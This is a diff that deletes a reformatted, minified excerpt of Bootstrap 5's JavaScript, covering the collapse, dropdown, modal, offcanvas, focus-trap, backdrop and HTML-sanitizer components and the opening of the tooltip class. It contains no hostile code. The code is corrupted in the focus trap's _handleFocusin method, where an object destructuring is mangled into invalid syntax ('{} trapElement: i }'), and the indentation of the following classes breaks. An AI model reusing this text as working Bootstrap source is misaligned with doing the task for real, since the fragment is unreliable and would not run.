-                ((t = {
-                    ...it,
-                    ...K.getDataAttributes(this._element),
-                    ...t
-                }).toggle = Boolean(t.toggle)),
-                (t.parent = l(t.parent)),
-                c('collapse', t, st),
-                t
-            );
-        }
-        _getDimension() {
-            return this._element.classList.contains('collapse-horizontal') ? 'width' : 'height';
-        }
-        _initializeChildren() {
-            if (!this._config.parent) return;
-            const t = V.find('.collapse .collapse', this._config.parent);
-            V.find('[data-bs-toggle="collapse"]', this._config.parent)
-                .filter((e) => !t.includes(e))
-                .forEach((t) => {
-                    const e = o(t);
-                    e && this._addAriaAndCollapsedClass([t], this._isShown(e));
-                });
-        }
-        _addAriaAndCollapsedClass(t, e) {
-            t.length &&
-                t.forEach((t) => {
-                    e ? t.classList.remove('collapsed') : t.classList.add('collapsed'), t.setAttribute('aria-expanded', e);
-                });
-        }
-        static jQueryInterface(t) {
-            return this.each(function() {
-                const e = {};
-                'string' == typeof t && /show|hide/.test(t) && (e.toggle = !1);
-                const i = nt.getOrCreateInstance(this, e);
-                if ('string' == typeof t) {
-                    if (void 0 === i[t]) throw new TypeError(`No method named "${t}"`);
-                    i[t]();
-                }
-            });
-        }
-    }
-    H.on(document, 'click.bs.collapse.data-api', '[data-bs-toggle="collapse"]', function(t) {
-        ('A' === t.target.tagName || (t.delegateTarget && 'A' === t.delegateTarget.tagName)) && t.preventDefault();
-        const e = n(this);
-        V.find(e).forEach((t) => {
-            nt.getOrCreateInstance(t, {
-                toggle: !1
-            }).toggle();
-        });
-    }),
-    b(nt);
-    const ot = new RegExp('ArrowUp|ArrowDown|Escape'),
-        rt = m() ? 'top-end' : 'top-start',
-        at = m() ? 'top-start' : 'top-end',
-        lt = m() ? 'bottom-end' : 'bottom-start',
-        ct = m() ? 'bottom-start' : 'bottom-end',
-        ht = m() ? 'left-start' : 'right-start',
-        dt = m() ? 'right-start' : 'left-start',
-        ut = {
-            offset: [0, 2],
-            boundary: 'clippingParents',
-            reference: 'toggle',
-            display: 'dynamic',
-            popperConfig: null,
-            autoClose: !0
-        },
-        gt = {
-            offset: '(array|string|function)',
-            boundary: '(string|element)',
-            reference: '(string|element|object)',
-            display: 'string',
-            popperConfig: '(null|object|function)',
-            autoClose: '(boolean|string)'
-        }; class pt extends R {
-        constructor(t, e) {
-            super(t),
-                (this._popper = null),
-                (this._config = this._getConfig(e)),
-                (this._menu = this._getMenuElement()),
-                (this._inNavbar = this._detectNavbar());
-        }
-        static get Default() {
-            return ut;
-        }
-        static get DefaultType() {
-            return gt;
-        }
-        static get NAME() {
-            return 'dropdown';
-        }
-        toggle() {
-            return this._isShown() ? this.hide() : this.show();
-        }
-        show() {
-            if (d(this._element) || this._isShown(this._menu)) return;
-            const t = {
-                relatedTarget: this._element
-            };
-            if (H.trigger(this._element, 'show.bs.dropdown', t).defaultPrevented) return;
-            const e = pt.getParentFromElement(this._element);
-            this._inNavbar ? K.setDataAttribute(this._menu, 'popper', 'none') : this._createPopper(e),
-                'ontouchstart' in document.documentElement &&
-                !e.closest('.navbar-nav') && [].concat(...document.body.children).forEach((t) => H.on(t, 'mouseover', g)),
-                this._element.focus(),
-                this._element.setAttribute('aria-expanded', !0),
-                this._menu.classList.add('show'),
-                this._element.classList.add('show'),
-                H.trigger(this._element, 'shown.bs.dropdown', t);
-        }
-        hide() {
-            if (d(this._element) || !this._isShown(this._menu)) return;
-            const t = {
-                relatedTarget: this._element
-            };
-            this._completeHide(t);
-        }
-        dispose() {
-            this._popper && this._popper.destroy(), super.dispose();
-        }
-        update() {
-            (this._inNavbar = this._detectNavbar()), this._popper && this._popper.update();
-        }
-        _completeHide(t) {
-            H.trigger(this._element, 'hide.bs.dropdown', t).defaultPrevented ||
-                ('ontouchstart' in document.documentElement && [].concat(...document.body.children).forEach((t) => H.off(t, 'mouseover', g)),
-                    this._popper && this._popper.destroy(),
-                    this._menu.classList.remove('show'),
-                    this._element.classList.remove('show'),
-                    this._element.setAttribute('aria-expanded', 'false'),
-                    K.removeDataAttribute(this._menu, 'popper'),
-                    H.trigger(this._element, 'hidden.bs.dropdown', t));
-        }
-        _getConfig(t) {
-            if (
-                ((t = {
-                        ...this.constructor.Default,
-                        ...K.getDataAttributes(this._element),
-                        ...t
-                    }),
-                    c('dropdown', t, this.constructor.DefaultType),
-                    'object' == typeof t.reference && !a(t.reference) && 'function' != typeof t.reference.getBoundingClientRect)
-            )
-                throw new TypeError(
-                    'dropdown'.toUpperCase() + ': Option "reference" provided type "object" without a required "getBoundingClientRect" method.'
-                );
-            return t;
-        }
-        _createPopper(t) {
-            if (void 0 === i) throw new TypeError("Bootstrap's dropdowns require Popper (https://popper.js.org)");
-            let e = this._element;
-            'parent' === this._config.reference ?
-                (e = t) :
-                a(this._config.reference) ?
-                (e = l(this._config.reference)) :
-                'object' == typeof this._config.reference && (e = this._config.reference);
-            const s = this._getPopperConfig(),
-                n = s.modifiers.find((t) => 'applyStyles' === t.name && !1 === t.enabled);
-            (this._popper = i.createPopper(e, this._menu, s)), n && K.setDataAttribute(this._menu, 'popper', 'static');
-        }
-        _isShown(t = this._element) {
-            return t.classList.contains('show');
-        }
-        _getMenuElement() {
-            return V.next(this._element, '.dropdown-menu')[0];
-        }
-        _getPlacement() {
-            const t = this._element.parentNode;
-            if (t.classList.contains('dropend')) return ht;
-            if (t.classList.contains('dropstart')) return dt;
-            const e = 'end' === getComputedStyle(this._menu).getPropertyValue('--bs-position').trim();
-            return t.classList.contains('dropup') ? (e ? at : rt) : e ? ct : lt;
-        }
-        _detectNavbar() {
-            return null !== this._element.closest('.navbar');
-        }
-        _getOffset() {
-            const {
-                offset: t
-            } = this._config;
-            return 'string' == typeof t ? t.split(',').map((t) => Number.parseInt(t, 10)) : 'function' == typeof t ? (e) => t(e, this._element) : t;
-        }
-        _getPopperConfig() {
-            const t = {
-                placement: this._getPlacement(),
-                modifiers: [{
-                        name: 'preventOverflow',
-                        options: {
-                            boundary: this._config.boundary
-                        }
-                    },
-                    {
-                        name: 'offset',
-                        options: {
-                            offset: this._getOffset()
-                        }
-                    }
-                ]
-            };
-            return (
-                'static' === this._config.display &&
-                (t.modifiers = [{
-                    name: 'applyStyles',
-                    enabled: !1
-                }]), {
-                    ...t,
-                    ...('function' == typeof this._config.popperConfig ? this._config.popperConfig(t) : this._config.popperConfig)
-                }
-            );
-        }
-        _selectMenuItem({
-            key: t,
-            target: e
-        }) {
-            const i = V.find('.dropdown-menu .dropdown-item:not(.disabled):not(:disabled)', this._menu).filter(h);
-            i.length && y(i, e, 'ArrowDown' === t, !i.includes(e)).focus();
-        }
-        static jQueryInterface(t) {
-            return this.each(function() {
-                const e = pt.getOrCreateInstance(this, t);
-                if ('string' == typeof t) {
-                    if (void 0 === e[t]) throw new TypeError(`No method named "${t}"`);
-                    e[t]();
-                }
-            });
-        }
-        static clearMenus(t) {
-            if (t && (2 === t.button || ('keyup' === t.type && 'Tab' !== t.key))) return;
-            const e = V.find('[data-bs-toggle="dropdown"]');
-            for (let i = 0, s = e.length; i < s; i++) {
-                const s = pt.getInstance(e[i]);
-                if (!s || !1 === s._config.autoClose) continue;
-                if (!s._isShown()) continue;
-                const n = {
-                    relatedTarget: s._element
-                };
-                if (t) {
-                    const e = t.composedPath(),
-                        i = e.includes(s._menu);
-                    if (e.includes(s._element) || ('inside' === s._config.autoClose && !i) || ('outside' === s._config.autoClose && i)) continue;
-                    if (s._menu.contains(t.target) && (('keyup' === t.type && 'Tab' === t.key) || /input|select|option|textarea|form/i.test(t.target.tagName)))
-                        continue;
-                    'click' === t.type && (n.clickEvent = t);
-                }
-                s._completeHide(n);
-            }
-        }
-        static getParentFromElement(t) {
-            return o(t) || t.parentNode;
-        }
-        static dataApiKeydownHandler(t) {
-            if (
-                /input|textarea/i.test(t.target.tagName) ?
-                'Space' === t.key || ('Escape' !== t.key && (('ArrowDown' !== t.key && 'ArrowUp' !== t.key) || t.target.closest('.dropdown-menu'))) :
-                !ot.test(t.key)
-            )
-                return;
-            const e = this.classList.contains('show');
-            if (!e && 'Escape' === t.key) return;
-            if ((t.preventDefault(), t.stopPropagation(), d(this))) return;
-            const i = this.matches('[data-bs-toggle="dropdown"]') ? this : V.prev(this, '[data-bs-toggle="dropdown"]')[0],
-                s = pt.getOrCreateInstance(i);
-            if ('Escape' !== t.key)
-                return 'ArrowUp' === t.key || 'ArrowDown' === t.key ?
-                    (e || s.show(), void s._selectMenuItem(t)) :
-                    void((e && 'Space' !== t.key) || pt.clearMenus());
-            s.hide();
-        }
-    }
-    H.on(document, 'keydown.bs.dropdown.data-api', '[data-bs-toggle="dropdown"]', pt.dataApiKeydownHandler),
-    H.on(document, 'keydown.bs.dropdown.data-api', '.dropdown-menu', pt.dataApiKeydownHandler),
-    H.on(document, 'click.bs.dropdown.data-api', pt.clearMenus),
-    H.on(document, 'keyup.bs.dropdown.data-api', pt.clearMenus),
-    H.on(document, 'click.bs.dropdown.data-api', '[data-bs-toggle="dropdown"]', function(t) {
-        t.preventDefault(), pt.getOrCreateInstance(this).toggle();
-    }),
-    b(pt); class ft {
-        constructor() {
-            this._element = document.body;
-        }
-        getWidth() {
-            const t = document.documentElement.clientWidth;
-            return Math.abs(window.innerWidth - t);
-        }
-        hide() {
-            const t = this.getWidth();
-            this._disableOverFlow(),
-                this._setElementAttributes(this._element, 'paddingRight', (e) => e + t),
-                this._setElementAttributes('.fixed-top, .fixed-bottom, .is-fixed, .sticky-top', 'paddingRight', (e) => e + t),
-                this._setElementAttributes('.sticky-top', 'marginRight', (e) => e - t);
-        }
-        _disableOverFlow() {
-            this._saveInitialAttribute(this._element, 'overflow'), (this._element.style.overflow = 'hidden');
-        }
-        _setElementAttributes(t, e, i) {
-            const s = this.getWidth();
-            this._applyManipulationCallback(t, (t) => {
-                if (t !== this._element && window.innerWidth > t.clientWidth + s) return;
-                this._saveInitialAttribute(t, e);
-                const n = window.getComputedStyle(t)[e];
-                t.style[e] = i(Number.parseFloat(n)) + 'px';
-            });
-        }
-        reset() {
-            this._resetElementAttributes(this._element, 'overflow'),
-                this._resetElementAttributes(this._element, 'paddingRight'),
-                this._resetElementAttributes('.fixed-top, .fixed-bottom, .is-fixed, .sticky-top', 'paddingRight'),
-                this._resetElementAttributes('.sticky-top', 'marginRight');
-        }
-        _saveInitialAttribute(t, e) {
-            const i = t.style[e];
-            i && K.setDataAttribute(t, e, i);
-        }
-        _resetElementAttributes(t, e) {
-            this._applyManipulationCallback(t, (t) => {
-                const i = K.getDataAttribute(t, e);
-                void 0 === i ? t.style.removeProperty(e) : (K.removeDataAttribute(t, e), (t.style[e] = i));
-            });
-        }
-        _applyManipulationCallback(t, e) {
-            a(t) ? e(t) : V.find(t, this._element).forEach(e);
-        }
-        isOverflowing() {
-            return this.getWidth() > 0;
-        }
-    }
-    const _t = {
-            className: 'modal-backdrop',
-            isVisible: !0,
-            isAnimated: !1,
-            rootElement: 'body',
-            clickCallback: null
-        },
-        mt = {
-            className: 'string',
-            isVisible: 'boolean',
-            isAnimated: 'boolean',
-            rootElement: '(element|string)',
-            clickCallback: '(function|null)'
-        }; class bt {
-        constructor(t) {
-            (this._config = this._getConfig(t)), (this._isAppended = !1), (this._element = null);
-        }
-        show(t) {
-            this._config.isVisible ?
-                (this._append(),
-                    this._config.isAnimated && p(this._getElement()),
-                    this._getElement().classList.add('show'),
-                    this._emulateAnimation(() => {
-                        v(t);
-                    })) :
-                v(t);
-        }
-        hide(t) {
-            this._config.isVisible ?
-                (this._getElement().classList.remove('show'),
-                    this._emulateAnimation(() => {
-                        this.dispose(), v(t);
-                    })) :
-                v(t);
-        }
-        _getElement() {
-            if (!this._element) {
-                const t = document.createElement('div');
-                (t.className = this._config.className), this._config.isAnimated && t.classList.add('fade'), (this._element = t);
-            }
-            return this._element;
-        }
-        _getConfig(t) {
-            return (
-                ((t = {
-                    ..._t,
-                    ...('object' == typeof t ? t : {})
-                }).rootElement = l(t.rootElement)),
-                c('backdrop', t, mt),
-                t
-            );
-        }
-        _append() {
-            this._isAppended ||
-                (this._config.rootElement.append(this._getElement()),
-                    H.on(this._getElement(), 'mousedown.bs.backdrop', () => {
-                        v(this._config.clickCallback);
-                    }),
-                    (this._isAppended = !0));
-        }
-        dispose() {
-            this._isAppended && (H.off(this._element, 'mousedown.bs.backdrop'), this._element.remove(), (this._isAppended = !1));
-        }
-        _emulateAnimation(t) {
-            w(t, this._getElement(), this._config.isAnimated);
-        }
-    }
-    const vt = {
-            trapElement: null,
-            autofocus: !0
-        },
-        wt = {
-            trapElement: 'element',
-            autofocus: 'boolean'
-        }; class yt {
-        constructor(t) {
-            (this._config = this._getConfig(t)), (this._isActive = !1), (this._lastTabNavDirection = null);
-        }
-        activate() {
-            const {
-                trapElement: t,
-                autofocus: e
-            } = this._config;
-            this._isActive ||
-                (e && t.focus(),
-                    H.off(document, '.bs.focustrap'),
-                    H.on(document, 'focusin.bs.focustrap', (t) => this._handleFocusin(t)),
-                    H.on(document, 'keydown.tab.bs.focustrap', (t) => this._handleKeydown(t)),
-                    (this._isActive = !0));
-        }
-        deactivate() {
-            this._isActive && ((this._isActive = !1), H.off(document, '.bs.focustrap'));
-        }
-        _handleFocusin(t) {
-            const {
-                target: e
-            } = t, {}
-            trapElement: i
-        } = this._config;
-        if (e === document || e === i || i.contains(e)) return;
-        const s = V.focusableChildren(i);
-        0 === s.length ? i.focus() : 'backward' === this._lastTabNavDirection ? s[s.length - 1].focus() : s[0].focus();
-    }
-    _handleKeydown(t) {
-        'Tab' === t.key && (this._lastTabNavDirection = t.shiftKey ? 'backward' : 'forward');
-    }
-    _getConfig(t) {
-        return (
-            (t = {
-                ...vt,
-                ...('object' == typeof t ? t : {})
-            }),
-            c('focustrap', t, wt),
-            t
-        );
-    }
-}
-const Et = {
-        backdrop: !0,
-        keyboard: !0,
-        focus: !0
-    },
-    At = {
-        backdrop: '(boolean|string)',
-        keyboard: 'boolean',
-        focus: 'boolean'
-    };
-class Tt extends R {
-    constructor(t, e) {
-        super(t),
-            (this._config = this._getConfig(e)),
-            (this._dialog = V.findOne('.modal-dialog', this._element)),
-            (this._backdrop = this._initializeBackDrop()),
-            (this._focustrap = this._initializeFocusTrap()),
-            (this._isShown = !1),
-            (this._ignoreBackdropClick = !1),
-            (this._isTransitioning = !1),
-            (this._scrollBar = new ft());
-    }
-    static get Default() {
-        return Et;
-    }
-    static get NAME() {
-        return 'modal';
-    }
-    toggle(t) {
-        return this._isShown ? this.hide() : this.show(t);
-    }
-    show(t) {
-        this._isShown ||
-            this._isTransitioning ||
-            H.trigger(this._element, 'show.bs.modal', {
-                relatedTarget: t
-            }).defaultPrevented ||
-            ((this._isShown = !0),
-                this._isAnimated() && (this._isTransitioning = !0),
-                this._scrollBar.hide(),
-                document.body.classList.add('modal-open'),
-                this._adjustDialog(),
-                this._setEscapeEvent(),
-                this._setResizeEvent(),
-                H.on(this._dialog, 'mousedown.dismiss.bs.modal', () => {
-                    H.one(this._element, 'mouseup.dismiss.bs.modal', (t) => {
-                        t.target === this._element && (this._ignoreBackdropClick = !0);
-                    });
-                }),
-                this._showBackdrop(() => this._showElement(t)));
-    }
-    hide() {
-        if (!this._isShown || this._isTransitioning) return;
-        if (H.trigger(this._element, 'hide.bs.modal').defaultPrevented) return;
-        this._isShown = !1;
-        const t = this._isAnimated();
-        t && (this._isTransitioning = !0),
-            this._setEscapeEvent(),
-            this._setResizeEvent(),
-            this._focustrap.deactivate(),
-            this._element.classList.remove('show'),
-            H.off(this._element, 'click.dismiss.bs.modal'),
-            H.off(this._dialog, 'mousedown.dismiss.bs.modal'),
-            this._queueCallback(() => this._hideModal(), this._element, t);
-    }
-    dispose() {
-        [window, this._dialog].forEach((t) => H.off(t, '.bs.modal')), this._backdrop.dispose(), this._focustrap.deactivate(), super.dispose();
-    }
-    handleUpdate() {
-        this._adjustDialog();
-    }
-    _initializeBackDrop() {
-        return new bt({
-            isVisible: Boolean(this._config.backdrop),
-            isAnimated: this._isAnimated()
-        });
-    }
-    _initializeFocusTrap() {
-        return new yt({
-            trapElement: this._element
-        });
-    }
-    _getConfig(t) {
-        return (
-            (t = {
-                ...Et,
-                ...K.getDataAttributes(this._element),
-                ...('object' == typeof t ? t : {})
-            }),
-            c('modal', t, At),
-            t
-        );
-    }
-    _showElement(t) {
-        const e = this._isAnimated(),
-            i = V.findOne('.modal-body', this._dialog);
-        (this._element.parentNode && this._element.parentNode.nodeType === Node.ELEMENT_NODE) || document.body.append(this._element),
-            (this._element.style.display = 'block'),
-            this._element.removeAttribute('aria-hidden'),
-            this._element.setAttribute('aria-modal', !0),
-            this._element.setAttribute('role', 'dialog'),
-            (this._element.scrollTop = 0),
-            i && (i.scrollTop = 0),
-            e && p(this._element),
-            this._element.classList.add('show'),
-            this._queueCallback(
-                () => {
-                    this._config.focus && this._focustrap.activate(),
-                        (this._isTransitioning = !1),
-                        H.trigger(this._element, 'shown.bs.modal', {
-                            relatedTarget: t
-                        });
-                },
-                this._dialog,
-                e
-            );
-    }
-    _setEscapeEvent() {
-        this._isShown ?
-            H.on(this._element, 'keydown.dismiss.bs.modal', (t) => {
-                this._config.keyboard && 'Escape' === t.key ?
-                    (t.preventDefault(), this.hide()) :
-                    this._config.keyboard || 'Escape' !== t.key || this._triggerBackdropTransition();
-            }) :
-            H.off(this._element, 'keydown.dismiss.bs.modal');
-    }
-    _setResizeEvent() {
-        this._isShown ? H.on(window, 'resize.bs.modal', () => this._adjustDialog()) : H.off(window, 'resize.bs.modal');
-    }
-    _hideModal() {
-        (this._element.style.display = 'none'),
-        this._element.setAttribute('aria-hidden', !0),
-            this._element.removeAttribute('aria-modal'),
-            this._element.removeAttribute('role'),
-            (this._isTransitioning = !1),
-            this._backdrop.hide(() => {
-                document.body.classList.remove('modal-open'),
-                    this._resetAdjustments(),
-                    this._scrollBar.reset(),
-                    H.trigger(this._element, 'hidden.bs.modal');
-            });
-    }
-    _showBackdrop(t) {
-        H.on(this._element, 'click.dismiss.bs.modal', (t) => {
-                this._ignoreBackdropClick ?
-                    (this._ignoreBackdropClick = !1) :
-                    t.target === t.currentTarget &&
-                    (!0 === this._config.backdrop ? this.hide() : 'static' === this._config.backdrop && this._triggerBackdropTransition());
-            }),
-            this._backdrop.show(t);
-    }
-    _isAnimated() {
-        return this._element.classList.contains('fade');
-    }
-    _triggerBackdropTransition() {
-        if (H.trigger(this._element, 'hidePrevented.bs.modal').defaultPrevented) return;
-        const {
-            classList: t,
-            scrollHeight: e,
-            style: i
-        } = this._element,
-            s = e > document.documentElement.clientHeight;
-        (!s && 'hidden' === i.overflowY) ||
-        t.contains('modal-static') ||
-            (s || (i.overflowY = 'hidden'),
-                t.add('modal-static'),
-                this._queueCallback(() => {
-                    t.remove('modal-static'),
-                        s ||
-                        this._queueCallback(() => {
-                            i.overflowY = '';
-                        }, this._dialog);
-                }, this._dialog),
-                this._element.focus());
-    }
-    _adjustDialog() {
-        const t = this._element.scrollHeight > document.documentElement.clientHeight,
-            e = this._scrollBar.getWidth(),
-            i = e > 0;
-        ((!i && t && !m()) || (i && !t && m())) && (this._element.style.paddingLeft = e + 'px'),
-        ((i && !t && !m()) || (!i && t && m())) && (this._element.style.paddingRight = e + 'px');
-    }
-    _resetAdjustments() {
-        (this._element.style.paddingLeft = ''), (this._element.style.paddingRight = '');
-    }
-    static jQueryInterface(t, e) {
-        return this.each(function() {
-            const i = Tt.getOrCreateInstance(this, t);
-            if ('string' == typeof t) {
-                if (void 0 === i[t]) throw new TypeError(`No method named "${t}"`);
-                i[t](e);
-            }
-        });
-    }
-}
-H.on(document, 'click.bs.modal.data-api', '[data-bs-toggle="modal"]', function(t) {
-        const e = o(this);
-        ['A', 'AREA'].includes(this.tagName) && t.preventDefault(),
-            H.one(e, 'show.bs.modal', (t) => {
-                t.defaultPrevented ||
-                    H.one(e, 'hidden.bs.modal', () => {
-                        h(this) && this.focus();
-                    });
-            });
-        const i = V.findOne('.modal.show');
-        i && Tt.getInstance(i).hide(), Tt.getOrCreateInstance(e).toggle(this);
-    }),
-    F(Tt),
-    b(Tt);
-const Ct = {
-        backdrop: !0,
-        keyboard: !0,
-        scroll: !1
-    },
-    kt = {
-        backdrop: 'boolean',
-        keyboard: 'boolean',
-        scroll: 'boolean'
-    };
-class Lt extends R {
-    constructor(t, e) {
-        super(t),
-            (this._config = this._getConfig(e)),
-            (this._isShown = !1),
-            (this._backdrop = this._initializeBackDrop()),
-            (this._focustrap = this._initializeFocusTrap()),
-            this._addEventListeners();
-    }
-    static get NAME() {
-        return 'offcanvas';
-    }
-    static get Default() {
-        return Ct;
-    }
-    toggle(t) {
-        return this._isShown ? this.hide() : this.show(t);
-    }
-    show(t) {
-        this._isShown ||
-            H.trigger(this._element, 'show.bs.offcanvas', {
-                relatedTarget: t
-            }).defaultPrevented ||
-            ((this._isShown = !0),
-                (this._element.style.visibility = 'visible'),
-                this._backdrop.show(),
-                this._config.scroll || new ft().hide(),
-                this._element.removeAttribute('aria-hidden'),
-                this._element.setAttribute('aria-modal', !0),
-                this._element.setAttribute('role', 'dialog'),
-                this._element.classList.add('show'),
-                this._queueCallback(
-                    () => {
-                        this._config.scroll || this._focustrap.activate(),
-                            H.trigger(this._element, 'shown.bs.offcanvas', {
-                                relatedTarget: t
-                            });
-                    },
-                    this._element,
-                    !0
-                ));
-    }
-    hide() {
-        this._isShown &&
-            (H.trigger(this._element, 'hide.bs.offcanvas').defaultPrevented ||
-                (this._focustrap.deactivate(),
-                    this._element.blur(),
-                    (this._isShown = !1),
-                    this._element.classList.remove('show'),
-                    this._backdrop.hide(),
-                    this._queueCallback(
-                        () => {
-                            this._element.setAttribute('aria-hidden', !0),
-                                this._element.removeAttribute('aria-modal'),
-                                this._element.removeAttribute('role'),
-                                (this._element.style.visibility = 'hidden'),
-                                this._config.scroll || new ft().reset(),
-                                H.trigger(this._element, 'hidden.bs.offcanvas');
-                        },
-                        this._element,
-                        !0
-                    )));
-    }
-    dispose() {
-        this._backdrop.dispose(), this._focustrap.deactivate(), super.dispose();
-    }
-    _getConfig(t) {
-        return (
-            (t = {
-                ...Ct,
-                ...K.getDataAttributes(this._element),
-                ...('object' == typeof t ? t : {})
-            }),
-            c('offcanvas', t, kt),
-            t
-        );
-    }
-    _initializeBackDrop() {
-        return new bt({
-            className: 'offcanvas-backdrop',
-            isVisible: this._config.backdrop,
-            isAnimated: !0,
-            rootElement: this._element.parentNode,
-            clickCallback: () => this.hide()
-        });
-    }
-    _initializeFocusTrap() {
-        return new yt({
-            trapElement: this._element
-        });
-    }
-    _addEventListeners() {
-        H.on(this._element, 'keydown.dismiss.bs.offcanvas', (t) => {
-            this._config.keyboard && 'Escape' === t.key && this.hide();
-        });
-    }
-    static jQueryInterface(t) {
-        return this.each(function() {
-            const e = Lt.getOrCreateInstance(this, t);
-            if ('string' == typeof t) {
-                if (void 0 === e[t] || t.startsWith('_') || 'constructor' === t) throw new TypeError(`No method named "${t}"`);
-                e[t](this);
-            }
-        });
-    }
-}
-H.on(document, 'click.bs.offcanvas.data-api', '[data-bs-toggle="offcanvas"]', function(t) {
-        const e = o(this);
-        if ((['A', 'AREA'].includes(this.tagName) && t.preventDefault(), d(this))) return;
-        H.one(e, 'hidden.bs.offcanvas', () => {
-            h(this) && this.focus();
-        });
-        const i = V.findOne('.offcanvas.show');
-        i && i !== e && Lt.getInstance(i).hide(), Lt.getOrCreateInstance(e).toggle(this);
-    }),
-    H.on(window, 'load.bs.offcanvas.data-api', () => V.find('.offcanvas.show').forEach((t) => Lt.getOrCreateInstance(t).show())),
-    F(Lt),
-    b(Lt);
-const St = new Set(['background', 'cite', 'href', 'itemtype', 'longdesc', 'poster', 'src', 'xlink:href']),
-    Ot = /^(?:(?:https?|mailto|ftp|tel|file):|[^#&/:?]*(?:[#/?]|$))/i,
-    Nt = /^data:(?:image\/(?:bmp|gif|jpeg|jpg|png|tiff|webp)|video\/(?:mpeg|mp4|ogg|webm)|audio\/(?:mp3|oga|ogg|opus));base64,[\d+/a-z]+=*$/i,
-    Dt = (t, e) => {
-        const i = t.nodeName.toLowerCase();
-        if (e.includes(i)) return !St.has(i) || Boolean(Ot.test(t.nodeValue) || Nt.test(t.nodeValue));
-        const s = e.filter((t) => t instanceof RegExp);
-        for (let t = 0, e = s.length; t < e; t++)
-            if (s[t].test(i)) return !0;
-        return !1;
-    };
-function It(t, e, i) {
-    if (!t.length) return t;
-    if (i && 'function' == typeof i) return i(t);
-    const s = new window.DOMParser().parseFromString(t, 'text/html'),
-        n = Object.keys(e),
-        o = [].concat(...s.body.querySelectorAll('*'));
-    for (let t = 0, i = o.length; t < i; t++) {
-        const i = o[t],
-            s = i.nodeName.toLowerCase();
-        if (!n.includes(s)) {
-            i.remove();
-            continue;
-        }
-        const r = [].concat(...i.attributes),
-            a = [].concat(e['*'] || [], e[s] || []);
-        r.forEach((t) => {
-            Dt(t, a) || i.removeAttribute(t.nodeName);
-        });
-    }
-    return s.body.innerHTML;
-}
-const Pt = new Set(['sanitize', 'allowList', 'sanitizeFn']),
-    xt = {
-        animation: 'boolean',
-        template: 'string',
-        title: '(string|element|function)',
-        trigger: 'string',
-        delay: '(number|object)',
-        html: 'boolean',
-        selector: '(string|boolean)',
-        placement: '(string|function)',
-        offset: '(array|string|function)',
-        container: '(string|element|boolean)',
-        fallbackPlacements: 'array',
-        boundary: '(string|element)',
-        customClass: '(string|function)',
-        sanitize: 'boolean',
-        sanitizeFn: '(null|function)',
-        allowList: 'object',
-        popperConfig: '(null|object|function)'
-    },
-    Mt = {
-        AUTO: 'auto',
-        TOP: 'top',
-        RIGHT: m() ? 'left' : 'right',
-        BOTTOM: 'bottom',
-        LEFT: m() ? 'right' : 'left'
-    },
-    jt = {
-        animation: !0,
-        template: '<div class="tooltip" role="tooltip"><div class="tooltip-arrow"></div><div class="tooltip-inner"></div></div>',
-        trigger: 'hover focus',
-        title: '',
-        delay: 0,
-        html: !1,
-        selector: !1,
-        placement: 'top',
-        offset: [0, 0],
-        container: !1,
-        fallbackPlacements: ['top', 'right', 'bottom', 'left'],
-        boundary: 'clippingParents',
-        customClass: '',
-        sanitize: !0,
-        sanitizeFn: null,
-        allowList: {
-            '*': ['class', 'dir', 'id', 'lang', 'role', /^aria-[\w-]*$/i],
-            a: ['target', 'href', 'title', 'rel'],
-            area: [],
-            b: [],
-            br: [],
-            col: [],
-            code: [],
-            div: [],
-            em: [],
-            hr: [],
-            h1: [],
-            h2: [],
-            h3: [],
-            h4: [],
-            h5: [],
-            h6: [],
-            i: [],
-            img: ['src', 'srcset', 'alt', 'title', 'width', 'height'],
-            li: [],
-            ol: [],
-            p: [],
-            pre: [],
-            s: [],
-            small: [],
-            span: [],
-            sub: [],
-            sup: [],
-            strong: [],
-            u: [],
-            ul: []
-        },
-        popperConfig: null
-    },
-    Ht = {
-        HIDE: 'hide.bs.tooltip',
-        HIDDEN: 'hidden.bs.tooltip',
-        SHOW: 'show.bs.tooltip',
-        SHOWN: 'shown.bs.tooltip',
-        INSERTED: 'inserted.bs.tooltip',
-        CLICK: 'click.bs.tooltip',
-        FOCUSIN: 'focusin.bs.tooltip',
-        FOCUSOUT: 'focusout.bs.tooltip',
-        MOUSEENTER: 'mouseenter.bs.tooltip',
-        MOUSELEAVE: 'mouseleave.bs.tooltip'
-    };
-class Bt extends R {
-    constructor(t, e) {
-        if (void 0 === i) throw new TypeError("Bootstrap's tooltips require Popper (https://popper.js.org)");
-        super(t),
-            (this._isEnabled = !0),
-            (this._timeout = 0),
-            (this._hoverState = ''),
-            (this._activeTrigger = {}),
-            (this._popper = null),
-            (this._config = this._getConfig(e)),
-            (this.tip = null),
-            this._setListeners();
-    }
-    static get Default() {
-        return jt;
-    }
-    static get NAME() {
-        return 'tooltip';
-    }
-    static get Event() {
-        return Ht;
-    }
-    static get DefaultType() {
-        return xt;
-    }
-    enable() {
-        this._isEnabled = !0;
-    }
-    disable() {
-        this._isEnabled = !1;
-    }
-    toggleEnabled() {
-        this._isEnabled = !this._isEnabled;
-    }
-    toggle(t) {
-        if (this._isEnabled)
-            if (t) {
-                const e = this._initializeOnDelegatedTarget(t);
-                (e._activeTrigger.click = !e._activeTrigger.click), e._isWithActiveTrigger() ? e._enter(null, e) : e._leave(null, e);
-            } else {
-                if (this.getTipElement().classList.contains('show')) return void this._leave(null, this);
-                this._enter(null, this);
-            }
-    }
-    dispose() {
-        clearTimeout(this._timeout),
-            H.off(this._element.closest('.modal'), 'hide.bs.modal', this._hideModalHandler),
-            this.tip && this.tip.remove(),
-            this._disposePopper(),
-            super.dispose();
-    }
-    show() {
-        if ('none' === this._element.style.display) throw new Error('Please use show on visible elements');
-        if (!this.isWithContent() || !this._isEnabled) return;
-        const t = H.trigger(this._element, this.constructor.Event.SHOW),
-            e = u(this._element),
-            s = null === e ? this._element.ownerDocument.documentElement.contains(this._element) : e.contains(this._element);
-        if (t.defaultPrevented || !s) return;
-        'tooltip' === this.constructor.NAME &&
-            this.tip &&
-            this.getTitle() !== this.tip.querySelector('.tooltip-inner').innerHTML &&
-            (this._disposePopper(), this.tip.remove(), (this.tip = null));
-        const n = this.getTipElement(),
-            o = ((t) => {
-                do {
-                    t += Math.floor(1e6 * Math.random());
-                } while (document.getElementById(t));
-                return t;
-            })(this.constructor.NAME);
-        n.setAttribute('id', o), this._element.setAttribute('aria-describedby', o), this._config.animation && n.classList.add('fade');
-        const r = 'function' == typeof this._config.placement ? this._config.placement.call(this, n, this._element) : this._config.placement,
-            a = this._getAttachment(r);
-        this._addAttachmentClass(a);
-        const {
-            container: l
-        } = this._config;
-        z.set(n, this.constructor.DATA_KEY, this),
